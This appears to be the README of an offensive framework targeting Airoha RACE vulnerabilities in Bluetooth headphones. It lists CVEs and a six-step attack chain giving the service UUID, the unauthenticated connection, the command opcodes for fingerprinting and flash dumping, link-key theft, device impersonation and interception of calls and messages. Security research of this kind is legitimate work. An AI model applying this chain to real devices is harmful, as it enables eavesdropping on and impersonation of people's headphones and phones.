RACE - Bluetooth Headphone Jacking Framework

Institutional-grade exploitation framework for Airoha RACE vulnerabilities

CVE	CVSS	Description
CVE-2025-20700	9.6	Unauthenticated RACE protocol access over BLE
CVE-2025-20701	8.8	Arbitrary flash read/write
CVE-2025-20702	9.1	Link key extraction & device impersonation

---

Overview

RACE is a modular exploitation framework targeting the Airoha RACE protocol found in millions of Bluetooth headphones and speakers. The framework provides:

• Discovery – Find vulnerable devices via BLE service enumeration
• Fingerprinting – Extract SoC model, SDK version, and build timestamps
• Flash Dumping – Read arbitrary flash pages to extract Link Keys
• Impersonation – Clone device identity to intercept calls and messages

Attack Chain

1. Discovery – Scan for BLE devices exposing RACE service UUID 00001200-0000-1000-8000-00805f9b34fb
2. Connection – Establish GATT connection without authentication
3. Fingerprint – Send 0x1E08 to retrieve SoC/SDK information
4. Flash Read – Send 0x0403 to dump flash pages containing Link Keys
5. Impersonation – Use extracted Link Key to clone device identity
6. Pivot – Access HFP profile to intercept calls, contacts, and messages
